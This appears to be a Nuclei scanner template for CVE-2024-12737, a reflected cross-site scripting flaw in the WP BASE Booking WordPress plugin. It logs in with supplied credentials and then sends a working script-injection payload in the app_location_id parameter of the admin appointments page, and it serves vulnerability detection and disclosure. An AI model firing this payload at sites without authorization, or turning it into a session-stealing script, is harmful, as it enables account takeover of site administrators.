WP BASE Booking - Reflected XSS

id: CVE-2024-12737

info:
  name: WP BASE Booking - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP BASE Booking of Appointments, Services and Events WordPress plugin < 5.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load a maliciously crafted URL.
  impact: |
    Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to version 5.0.0 or later.
  reference:
    - https://wpscan.com/vulnerability/997eb9f6-80e1-4bc5-be72-bd6a6f52379c/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-12737
    cwe-id: CWE-79
    epss-score: 0.00601
    epss-percentile: 0.46621
    cpe: cpe:2.3:a:wp-base:wp_base_booking_of_appointments\,_services_and_events:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "wp-base-booking-of-appointments-services-and-events"
  tags: cve,cve2024,wp-base,wordpress,wpscan,wp-plugin,wp,authenticated,xss,wp-base-booking-of-appointments-services-and-events

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=appointments&app_location_id=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`","wp-base-booking-of-appointments-services-and-events")
        condition: and
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